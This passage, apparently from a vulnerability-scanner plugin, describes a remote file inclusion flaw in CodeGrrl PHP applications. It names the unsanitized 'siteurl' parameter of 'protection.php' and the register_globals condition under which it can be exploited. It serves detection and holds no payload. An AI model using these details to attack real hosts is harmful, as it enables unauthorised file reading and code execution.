remote file inclusion vulnerability." );

"The remote host appears to be running at least one of the PHP
applications from CodeGrrl - PHPCalendar, PHPClique, PHPFanBase, or
PHPQuotes.  Under certain conditions, these applications fail to
sanitize input to the 'siteurl' parameter of the 'protection.php'
script before using it in a PHP 'include' function.  Provided PHP's
'register_globals' setting is enabled, an unauthenticated attacker can
exploit this issue to view arbitrary files on the remote host and to
execute arbitrary PHP code, possibly taken from third-party hosts." );
